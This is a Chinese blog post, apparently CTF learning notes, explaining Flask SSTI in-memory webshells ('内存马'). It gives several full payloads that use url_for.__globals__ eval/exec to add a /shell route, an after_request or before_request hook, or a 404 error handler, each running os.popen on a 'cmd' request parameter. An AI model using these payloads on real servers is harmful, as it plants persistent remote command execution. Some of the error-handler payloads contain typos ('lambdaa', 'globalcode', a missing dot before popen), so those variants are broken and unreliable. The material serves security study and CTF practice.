前言

遇到一道需要flask的ssti,但是ban掉了curl ping 等一系列指令,只能用python内存马试试了,正好借此机会学习一下内存马

老版本python内存马

老版本因为检测不严所以容易写入内存马
payload

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

分别解释一下

url_for:flask内置函数用于访问全局变量
builtins是一个python内置的模块,在加载用户之前就已经被加载,调用不需要加前缀,我们在python能直接用的函数都在这个模块里面,在python2中叫做__builtin__,所以url_for.__globals__['__builtins__']['eval']==url_for.__globals__.__builtins__.eval

app.add_url_rule(rule, endpoint=None, view_func=None, **options)

view_func就是对应url的处理函数

现在无法直接在app里调用add_url_rule所以现在调用会直接报错
这是因为下面_get_current_object函数会直接标记设置完成,当被标记完成后应用对象将不可再进行修改,也就是add_url_rule无法在app中再次调用了

_request_ctx_stack用于处理上下文

这里处理的是request.args.get的参数

有师傅将目标放在了一些类似于拦截器,中间件处理器当中,比如before_requestafter_requestteardown_request这三个上面,分别的作用如下:

  • @app.before_request 用于注册一个函数,在每次请求处理开始前执行。这个函数可以用来执行一些预处理工作,例如设置一些全局变量、验证请求等。它在请求处理上下文中被调用。
  • @app.after_request 用于注册一个函数,在每次请求处理完成后执行,它在请求处理成功完成后执行,而不管请求处理过程中是否发生了异常。这个函数可以用来对响应进行处理,它在请求处理上下文中被调用。
  • @app.teardown_request() 用于注册一个函数,该函数在每次请求处理完成后执行。它通常用于清理工作,例如关闭数据库连接、释放资源等。这个函数可以访问请求处理过程中创建的任何对象,因为它在请求处理上下文中被调用。

从它们的源码中可以看到它们最终调用的处理函数分别是before_request_funcs.setdefault(),after_request_funcs.setdefault(), teardown_request_funcs.setdefault()。

新版本python内存马

url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

只有请求被处理完成且响应后,after_request函数才会对响应对象进行处理


lambda resp: CmdResp
lambda匿名函数,将CmdResp的值映射给resp
"lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp"

这里的意思是:如果存在get传参cmd,且exec执行一个多行代码,CmdResp为一个全局变量,然后执行代码。由于exec()方法始终返回None,所以就为true,反之就resp。但是无
论如何都会执行这行代码(还是有前提的,需要cmd被赋值)

这个payload的就是,通过exec命令执行,创建一个HTTP响应对象,然后响应对象通过请求处理完成,响应对象被当成参数进行处理。

先说明after_request_funcs

after_request_funcsafter_request的源码中调用

before_request_funcsbefore_request的源码中调用

def before_request(self, f: T_before_request) -> T_before_request:
  self.before_request_funcs.setdefault(None, []).append(f)
  return f

这里的f就是我们要加的函数

利用before_request_funcs把恶意代码添加到空列表末尾即把恶意代码传进到了None键的值中。

url_for.__globals__['__builtins__']['eval']
("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefaul
t(None,[]).append(lambda:__import__('os').popen('whoami').read())")

捕获异常payload

url_for.__globals__.__builtins__.exec("global exc_class;global code;exc_class, code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambdaa:__import__('os').popen(request.args.get('cmd','whoami')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
sys.modules['__main__'].__dict__['app']._get_exc_class_and_code(404);

用于获取到异常类和错误状态码
剩下的用于设置404错误的处理函数

url_for.__globals__.__builtins__.exec("global exc_class;globalcode;exc_class, code =app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os')popen(request.args.get('cmd','whoami')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

这里用到了hook函数errorhandler
需要理解self.register_error_handler()后面再补awa

参考

https://github.com/iceyhexman/flask_memory_shell
https://www.cnblogs.com/gxngxngxn/p/18181936
https://aiwin.fun/index.php/archives/4409/


一个好奇的人